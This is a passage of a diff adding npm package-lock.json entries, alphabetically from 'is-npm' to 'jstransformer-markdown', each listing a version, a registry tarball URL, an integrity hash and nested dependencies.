+            "integrity": "sha512-dqJvarLawXsFbNDeJW7zAz8ItJ9cd28YufuuFzh0G8pNHjJMnY08Dv7sYX2uF5UpQOwieAeOExEYAWWfu7ZZUA=="
+        },
+        "is-npm": {
+            "version": "5.0.0",
+            "resolved": "https://registry.npmjs.org/is-npm/-/is-npm-5.0.0.tgz",
+            "integrity": "sha512-WW/rQLOazUq+ST/bCAVBp/2oMERWLsR7OrKyt052dNDk4DHcDE0/7QSXITlmi+VBcV13DfIbysG3tZJm5RfdBA=="
+        },
+        "is-number": {
+            "version": "7.0.0",
+            "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
+            "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng=="
+        },
+        "is-number-object": {
+            "version": "1.0.7",
+            "resolved": "https://registry.npmjs.org/is-number-object/-/is-number-object-1.0.7.tgz",
+            "integrity": "sha512-k1U0IRzLMo7ZlYIfzRu23Oh6MiIFasgpb9X76eqfFZAqwH44UI4KTBvBYIZ1dSL9ZzChTB9ShHfLkR4pdW5krQ==",
+            "requires": {
+                "has-tostringtag": "^1.0.0"
+            }
+        },
+        "is-obj": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz",
+            "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w=="
+        },
+        "is-object": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/is-object/-/is-object-1.0.2.tgz",
+            "integrity": "sha512-2rRIahhZr2UWb45fIOuvZGpFtz0TyOZLf32KxBbSoUCeZR495zCKlWUKKUByk3geS2eAs7ZAABt0Y/Rx0GiQGA=="
+        },
+        "is-path-cwd": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/is-path-cwd/-/is-path-cwd-1.0.0.tgz",
+            "integrity": "sha512-cnS56eR9SPAscL77ik76ATVqoPARTqPIVkMDVxRaWH06zT+6+CzIroYRJ0VVvm0Z1zfAvxvz9i/D3Ppjaqt5Nw=="
+        },
+        "is-path-in-cwd": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/is-path-in-cwd/-/is-path-in-cwd-1.0.1.tgz",
+            "integrity": "sha512-FjV1RTW48E7CWM7eE/J2NJvAEEVektecDBVBE5Hh3nM1Jd0kvhHtX68Pr3xsDf857xt3Y4AkwVULK1Vku62aaQ==",
+            "requires": {
+                "is-path-inside": "^1.0.0"
+            }
+        },
+        "is-path-inside": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-1.0.1.tgz",
+            "integrity": "sha512-qhsCR/Esx4U4hg/9I19OVUAJkGWtjRYHMRgUMZE2TDdj+Ag+kttZanLupfddNyglzz50cUlmWzUaI37GDfNx/g==",
+            "requires": {
+                "path-is-inside": "^1.0.1"
+            }
+        },
+        "is-plain-obj": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz",
+            "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA=="
+        },
+        "is-plain-object": {
+            "version": "2.0.4",
+            "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz",
+            "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==",
+            "requires": {
+                "isobject": "^3.0.1"
+            },
+            "dependencies": {
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                }
+            }
+        },
+        "is-posix-bracket": {
+            "version": "0.1.1",
+            "resolved": "https://registry.npmjs.org/is-posix-bracket/-/is-posix-bracket-0.1.1.tgz",
+            "integrity": "sha512-Yu68oeXJ7LeWNmZ3Zov/xg/oDBnBK2RNxwYY1ilNJX+tKKZqgPK+qOn/Gs9jEu66KDY9Netf5XLKNGzas/vPfQ=="
+        },
+        "is-primitive": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz",
+            "integrity": "sha512-N3w1tFaRfk3UrPfqeRyD+GYDASU3W5VinKhlORy8EWVf/sIdDL9GAcew85XmktCfH+ngG7SRXEVDoO18WMdB/Q=="
+        },
+        "is-promise": {
+            "version": "2.2.2",
+            "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz",
+            "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ=="
+        },
+        "is-regex": {
+            "version": "1.1.4",
+            "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.1.4.tgz",
+            "integrity": "sha512-kvRdxDsxZjhzUX07ZnLydzS1TU/TJlTUHHY4YLL87e37oUA49DfkLqgy+VjFocowy29cKvcSiu+kIv728jTTVg==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "has-tostringtag": "^1.0.0"
+            }
+        },
+        "is-regexp": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/is-regexp/-/is-regexp-1.0.0.tgz",
+            "integrity": "sha512-7zjFAPO4/gwyQAAgRRmqeEeyIICSdmCqa3tsVHMdBzaXXRiqopZL4Cyghg/XulGWrtABTpbnYYzzIRffLkP4oA=="
+        },
+        "is-relative": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/is-relative/-/is-relative-1.0.0.tgz",
+            "integrity": "sha512-Kw/ReK0iqwKeu0MITLFuj0jbPAmEiOsIwyIXvvbfa6QfmN9pkD1M+8pdk7Rl/dTKbH34/XBFMbgD4iMJhLQbGA==",
+            "requires": {
+                "is-unc-path": "^1.0.0"
+            }
+        },
+        "is-relative-url": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/is-relative-url/-/is-relative-url-3.0.0.tgz",
+            "integrity": "sha512-U1iSYRlY2GIMGuZx7gezlB5dp1Kheaym7zKzO1PV06mOihiWTXejLwm4poEJysPyXF+HtK/BEd0DVlcCh30pEA==",
+            "requires": {
+                "is-absolute-url": "^3.0.0"
+            }
+        },
+        "is-resolvable": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz",
+            "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg=="
+        },
+        "is-retry-allowed": {
+            "version": "1.2.0",
+            "resolved": "https://registry.npmjs.org/is-retry-allowed/-/is-retry-allowed-1.2.0.tgz",
+            "integrity": "sha512-RUbUeKwvm3XG2VYamhJL1xFktgjvPzL0Hq8C+6yrWIswDy3BIXGqCxhxkc30N9jqK311gVU137K8Ei55/zVJRg=="
+        },
+        "is-root": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/is-root/-/is-root-1.0.0.tgz",
+            "integrity": "sha512-1d50EJ7ipFxb9bIx213o6KPaJmHN8f+nR48UZWxWVzDx+NA3kpscxi02oQX3rGkEaLBi9m3ZayHngQc3+bBX9w=="
+        },
+        "is-shared-array-buffer": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/is-shared-array-buffer/-/is-shared-array-buffer-1.0.2.tgz",
+            "integrity": "sha512-sqN2UDu1/0y6uvXyStCOzyhAjCSlHceFoMKJW8W9EU9cvic/QdsZ0kEU93HEy3IUEFZIiH/3w+AH/UQbPHNdhA==",
+            "requires": {
+                "call-bind": "^1.0.2"
+            }
+        },
+        "is-ssh": {
+            "version": "1.4.0",
+            "resolved": "https://registry.npmjs.org/is-ssh/-/is-ssh-1.4.0.tgz",
+            "integrity": "sha512-x7+VxdxOdlV3CYpjvRLBv5Lo9OJerlYanjwFrPR9fuGPjCiNiCzFgAWpiLAohSbsnH4ZAys3SBh+hq5rJosxUQ==",
+            "requires": {
+                "protocols": "^2.0.1"
+            }
+        },
+        "is-stream": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz",
+            "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg=="
+        },
+        "is-string": {
+            "version": "1.0.7",
+            "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.0.7.tgz",
+            "integrity": "sha512-tE2UXzivje6ofPW7l23cjDOMa09gb7xlAqG6jG5ej6uPV32TlWP3NKPigtaGeHNu9fohccRYvIiZMfOOnOYUtg==",
+            "requires": {
+                "has-tostringtag": "^1.0.0"
+            }
+        },
+        "is-symbol": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.4.tgz",
+            "integrity": "sha512-C/CPBqKWnvdcxqIARxyOh4v1UUEOCHpgDa0WYgpKDFMszcrPcffg5uhwSgPCLD2WWxmq6isisz87tzT01tuGhg==",
+            "requires": {
+                "has-symbols": "^1.0.2"
+            }
+        },
+        "is-typedarray": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz",
+            "integrity": "sha512-cyA56iCMHAh5CdzjJIa4aohJyeO1YbwLi3Jc35MmRU6poroFjIGZzUzupGiRPOjgHg9TLu43xbpwXk523fMxKA=="
+        },
+        "is-unc-path": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/is-unc-path/-/is-unc-path-1.0.0.tgz",
+            "integrity": "sha512-mrGpVd0fs7WWLfVsStvgF6iEJnbjDFZh9/emhRDcGWTduTfNHd9CHeUwH3gYIjdbwo4On6hunkztwOaAw0yllQ==",
+            "requires": {
+                "unc-path-regex": "^0.1.2"
+            }
+        },
+        "is-url": {
+            "version": "1.2.4",
+            "resolved": "https://registry.npmjs.org/is-url/-/is-url-1.2.4.tgz",
+            "integrity": "sha512-ITvGim8FhRiYe4IQ5uHSkj7pVaPDrCTkNd3yq3cV7iZAcJdHTUMPMEHcqSOy9xZ9qFenQCvi+2wjH9a1nXqHww=="
+        },
+        "is-utf8": {
+            "version": "0.2.1",
+            "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz",
+            "integrity": "sha512-rMYPYvCzsXywIsldgLaSoPlw5PfoB/ssr7hY4pLfcodrA5M/eArza1a9VmTiNIBNMjOGr1Ow9mTyU2o69U6U9Q=="
+        },
+        "is-valid-domain": {
+            "version": "0.1.6",
+            "resolved": "https://registry.npmjs.org/is-valid-domain/-/is-valid-domain-0.1.6.tgz",
+            "integrity": "sha512-ZKtq737eFkZr71At8NxOFcP9O1K89gW3DkdrGMpp1upr/ueWjj+Weh4l9AI4rN0Gt8W2M1w7jrG2b/Yv83Ljpg==",
+            "requires": {
+                "punycode": "^2.1.1"
+            }
+        },
+        "is-valid-path": {
+            "version": "0.1.1",
+            "resolved": "https://registry.npmjs.org/is-valid-path/-/is-valid-path-0.1.1.tgz",
+            "integrity": "sha512-+kwPrVDu9Ms03L90Qaml+79+6DZHqHyRoANI6IsZJ/g8frhnfchDOBCa0RbQ6/kdHt5CS5OeIEyrYznNuVN+8A==",
+            "requires": {
+                "is-invalid-path": "^0.1.0"
+            }
+        },
+        "is-weakref": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.0.2.tgz",
+            "integrity": "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ==",
+            "requires": {
+                "call-bind": "^1.0.2"
+            }
+        },
+        "is-whitespace-character": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/is-whitespace-character/-/is-whitespace-character-1.0.4.tgz",
+            "integrity": "sha512-SDweEzfIZM0SJV0EUga669UTKlmL0Pq8Lno0QDQsPnvECB3IM2aP0gdx5TrU0A01MAPfViaZiI2V1QMZLaKK5w=="
+        },
+        "is-windows": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/is-windows/-/is-windows-1.0.2.tgz",
+            "integrity": "sha512-eXK1UInq2bPmjyX6e3VHIzMLobc4J94i4AWn+Hpq3OU5KkrRC96OAcR3PRJ/pGu6m8TRnBHP9dkXQVsT/COVIA=="
+        },
+        "is-word-character": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/is-word-character/-/is-word-character-1.0.4.tgz",
+            "integrity": "sha512-5SMO8RVennx3nZrqtKwCGyyetPE9VDba5ugvKLaD4KopPG5kR4mQ7tNt/r7feL5yt5h3lpuBbIUmCOG2eSzXHA=="
+        },
+        "is-wsl": {
+            "version": "2.2.0",
+            "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz",
+            "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==",
+            "requires": {
+                "is-docker": "^2.0.0"
+            }
+        },
+        "is-yarn-global": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/is-yarn-global/-/is-yarn-global-0.3.0.tgz",
+            "integrity": "sha512-VjSeb/lHmkoyd8ryPVIKvOCn4D1koMqY+vqyjjUfc3xyKtP4dYOxM44sZrnqQSzSds3xyOrUTLTC9LVCVgLngw=="
+        },
+        "isarray": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+            "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ=="
+        },
+        "isexe": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
+            "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw=="
+        },
+        "isobject": {
+            "version": "2.1.0",
+            "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz",
+            "integrity": "sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==",
+            "requires": {
+                "isarray": "1.0.0"
+            }
+        },
+        "isomorphic-ws": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-4.0.1.tgz",
+            "integrity": "sha512-BhBvN2MBpWTaSHdWRb/bwdZJ1WaehQ2L1KngkCkfLUGF0mAWAT1sQUQacEmQ0jXkFw/czDXPNQSL5u2/Krsz1w=="
+        },
+        "isstream": {
+            "version": "0.1.2",
+            "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz",
+            "integrity": "sha512-Yljz7ffyPbrLpLngrMtZ7NduUgVvi6wG9RJ9IUcyCd59YQ911PBJphODUcbOVbqYfxe1wuYf/LJ8PauMRwsM/g=="
+        },
+        "isurl": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/isurl/-/isurl-1.0.0.tgz",
+            "integrity": "sha512-1P/yWsxPlDtn7QeRD+ULKQPaIaN6yF368GZ2vDfv0AL0NwpStafjWCDDdn0k8wgFMWpVAqG7oJhxHnlud42i9w==",
+            "requires": {
+                "has-to-string-tag-x": "^1.2.0",
+                "is-object": "^1.0.1"
+            }
+        },
+        "iterall": {
+            "version": "1.3.0",
+            "resolved": "https://registry.npmjs.org/iterall/-/iterall-1.3.0.tgz",
+            "integrity": "sha512-QZ9qOMdF+QLHxy1QIpUHUU1D5pS2CG2P69LF6L6CPjPYA/XMOmKV3PZpawHoAjHNyB0swdVTRxdYT4tbBbxqwg=="
+        },
+        "jest-diff": {
+            "version": "25.5.0",
+            "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-25.5.0.tgz",
+            "integrity": "sha512-z1kygetuPiREYdNIumRpAHY6RXiGmp70YHptjdaxTWGmA085W3iCnXNx0DhflK3vwrKmrRWyY1wUpkPMVxMK7A==",
+            "requires": {
+                "chalk": "^3.0.0",
+                "diff-sequences": "^25.2.6",
+                "jest-get-type": "^25.2.6",
+                "pretty-format": "^25.5.0"
+            },
+            "dependencies": {
+                "ansi-styles": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+                    "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+                    "requires": {
+                        "color-convert": "^2.0.1"
+                    }
+                },
+                "chalk": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
+                    "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+                    "requires": {
+                        "ansi-styles": "^4.1.0",
+                        "supports-color": "^7.1.0"
+                    }
+                },
+                "color-convert": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+                    "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+                    "requires": {
+                        "color-name": "~1.1.4"
+                    }
+                },
+                "color-name": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+                    "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+                },
+                "has-flag": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+                    "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+                },
+                "supports-color": {
+                    "version": "7.2.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+                    "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+                    "requires": {
+                        "has-flag": "^4.0.0"
+                    }
+                }
+            }
+        },
+        "jest-get-type": {
+            "version": "25.2.6",
+            "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-25.2.6.tgz",
+            "integrity": "sha512-DxjtyzOHjObRM+sM1knti6or+eOgcGU4xVSb2HNP1TqO4ahsT+rqZg+nyqHWJSvWgKC5cG3QjGFBqxLghiF/Ig=="
+        },
+        "jest-worker": {
+            "version": "24.9.0",
+            "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-24.9.0.tgz",
+            "integrity": "sha512-51PE4haMSXcHohnSMdM42anbvZANYTqMrr52tVKPqqsPJMzoP6FYYDVqahX/HrAoKEKz3uUPzSvKs9A3qR4iVw==",
+            "requires": {
+                "merge-stream": "^2.0.0",
+                "supports-color": "^6.1.0"
+            },
+            "dependencies": {
+                "supports-color": {
+                    "version": "6.1.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.1.0.tgz",
+                    "integrity": "sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ==",
+                    "requires": {
+                        "has-flag": "^3.0.0"
+                    }
+                }
+            }
+        },
+        "joi": {
+            "version": "17.6.0",
+            "resolved": "https://registry.npmjs.org/joi/-/joi-17.6.0.tgz",
+            "integrity": "sha512-OX5dG6DTbcr/kbMFj0KGYxuew69HPcAE3K/sZpEV2nP6e/j/C0HV+HNiBPCASxdx5T7DMoa0s8UeHWMnb6n2zw==",
+            "requires": {
+                "@hapi/hoek": "^9.0.0",
+                "@hapi/topo": "^5.0.0",
+                "@sideway/address": "^4.1.3",
+                "@sideway/formula": "^3.0.0",
+                "@sideway/pinpoint": "^2.0.0"
+            },
+            "dependencies": {
+                "@hapi/hoek": {
+                    "version": "9.3.0",
+                    "resolved": "https://registry.npmjs.org/@hapi/hoek/-/hoek-9.3.0.tgz",
+                    "integrity": "sha512-/c6rf4UJlmHlC9b5BaNvzAcFv7HZ2QHaV0D4/HNlBdvFnvQq8RI4kYdhyPCl7Xj+oWvTWQ8ujhqS53LIgAe6KQ=="
+                },
+                "@hapi/topo": {
+                    "version": "5.1.0",
+                    "resolved": "https://registry.npmjs.org/@hapi/topo/-/topo-5.1.0.tgz",
+                    "integrity": "sha512-foQZKJig7Ob0BMAYBfcJk8d77QtOe7Wo4ox7ff1lQYoNNAb6jwcY1ncdoy2e9wQZzvNy7ODZCYJkK8kzmcAnAg==",
+                    "requires": {
+                        "@hapi/hoek": "^9.0.0"
+                    }
+                }
+            }
+        },
+        "jquery": {
+            "version": "3.6.0",
+            "resolved": "https://registry.npmjs.org/jquery/-/jquery-3.6.0.tgz",
+            "integrity": "sha512-JVzAR/AjBvVt2BmYhxRCSYysDsPcssdmTFnzyLEts9qNwmjmu4JTAMYubEfwVOSwpQ1I1sKKFcxhZCI2buerfw=="
+        },
+        "js-base64": {
+            "version": "2.6.4",
+            "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.6.4.tgz",
+            "integrity": "sha512-pZe//GGmwJndub7ZghVHz7vjb2LgC1m8B07Au3eYqeqv9emhESByMXxaEgkUkEqJe87oBbSniGYoQNIBklc7IQ=="
+        },
+        "js-stringify": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/js-stringify/-/js-stringify-1.0.2.tgz",
+            "integrity": "sha512-rtS5ATOo2Q5k1G+DADISilDA6lv79zIiwFd6CcjuIxGKLFm5C+RLImRscVap9k55i+MOZwgliw+NejvkLuGD5g=="
+        },
+        "js-tokens": {
+            "version": "4.0.0",
+            "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz",
+            "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ=="
+        },
+        "js-yaml": {
+            "version": "3.12.2",
+            "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.12.2.tgz",
+            "integrity": "sha512-QHn/Lh/7HhZ/Twc7vJYQTkjuCa0kaCcDcjK5Zlk2rvnUpy7DxMJ23+Jc2dcyvltwQVg1nygAVlB2oRDFHoRS5Q==",
+            "requires": {
+                "argparse": "^1.0.7",
+                "esprima": "^4.0.0"
+            }
+        },
+        "jsbn": {
+            "version": "0.1.1",
+            "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz",
+            "integrity": "sha512-UVU9dibq2JcFWxQPA6KCqj5O42VOmAY3zQUfEKxU0KpTGXwNoCjkX1e13eHNvw/xPynt6pU0rZ1htjWTNTSXsg=="
+        },
+        "jsesc": {
+            "version": "2.5.2",
+            "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz",
+            "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA=="
+        },
+        "json-buffer": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/json-buffer/-/json-buffer-3.0.0.tgz",
+            "integrity": "sha1-Wx85evx11ne96Lz8Dkfh+aPZqJg="
+        },
+        "json-loader": {
+            "version": "0.5.7",
+            "resolved": "https://registry.npmjs.org/json-loader/-/json-loader-0.5.7.tgz",
+            "integrity": "sha512-QLPs8Dj7lnf3e3QYS1zkCo+4ZwqOiF9d/nZnYozTISxXWCfNs9yuky5rJw4/W34s7POaNlbZmQGaB5NiXCbP4w=="
+        },
+        "json-parse-better-errors": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz",
+            "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw=="
+        },
+        "json-parse-even-better-errors": {
+            "version": "2.3.1",
+            "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz",
+            "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w=="
+        },
+        "json-schema": {
+            "version": "0.4.0",
+            "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz",
+            "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA=="
+        },
+        "json-schema-traverse": {
+            "version": "0.4.1",
+            "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz",
+            "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
+        },
+        "json-stable-stringify-without-jsonify": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz",
+            "integrity": "sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw=="
+        },
+        "json-stringify-safe": {
+            "version": "5.0.1",
+            "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz",
+            "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA=="
+        },
+        "json3": {
+            "version": "3.3.3",
+            "resolved": "https://registry.npmjs.org/json3/-/json3-3.3.3.tgz",
+            "integrity": "sha512-c7/8mbUsKigAbLkD5B010BK4D9LZm7A1pNItkEwiUZRpIN66exu/e7YQWysGun+TRKaJp8MhemM+VkfWv42aCA=="
+        },
+        "json5": {
+            "version": "2.2.1",
+            "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz",
+            "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA=="
+        },
+        "jsonfile": {
+            "version": "2.4.0",
+            "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-2.4.0.tgz",
+            "integrity": "sha512-PKllAqbgLgxHaj8TElYymKCAgrASebJrWpTnEkOaTowt23VKXXN0sUeriJ+eh7y6ufb/CC5ap11pz71/cM0hUw==",
+            "requires": {
+                "graceful-fs": "^4.1.6"
+            }
+        },
+        "jsonify": {
+            "version": "0.0.0",
+            "resolved": "https://registry.npmjs.org/jsonify/-/jsonify-0.0.0.tgz",
+            "integrity": "sha512-trvBk1ki43VZptdBI5rIlG4YOzyeH/WefQt5rj1grasPn4iiZWKet8nkgc4GlsAylaztn0qZfUYOiTsASJFdNA=="
+        },
+        "jsprim": {
+            "version": "1.4.2",
+            "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz",
+            "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==",
+            "requires": {
+                "assert-plus": "1.0.0",
+                "extsprintf": "1.3.0",
+                "json-schema": "0.4.0",
+                "verror": "1.10.0"
+            }
+        },
+        "jstransformer": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz",
+            "integrity": "sha512-C9YK3Rf8q6VAPDCCU9fnqo3mAfOH6vUGnMcP4AQAYIEpWtfGLpwOTmZ+igtdK5y+VvI2n3CyYSzy4Qh34eq24A==",
+            "requires": {
+                "is-promise": "^2.0.0",
+                "promise": "^7.0.1"
+            }
+        },
+        "jstransformer-markdown": {
+            "version": "1.2.1",
+            "resolved": "https://registry.npmjs.org/jstransformer-markdown/-/jstransformer-markdown-1.2.1.tgz",
+            "integrity": "sha512-rNLxNC3LIGAc26Qcro73eWoosKymqyNVDn909KIq2QHVHGWZ+d+JzOCrHsmUt3DNAKF+hkJQJ1JufAhFEdZ5gw==",
+            "requires": {
+                "markdown": "^0.5.0"
+            }
+        },
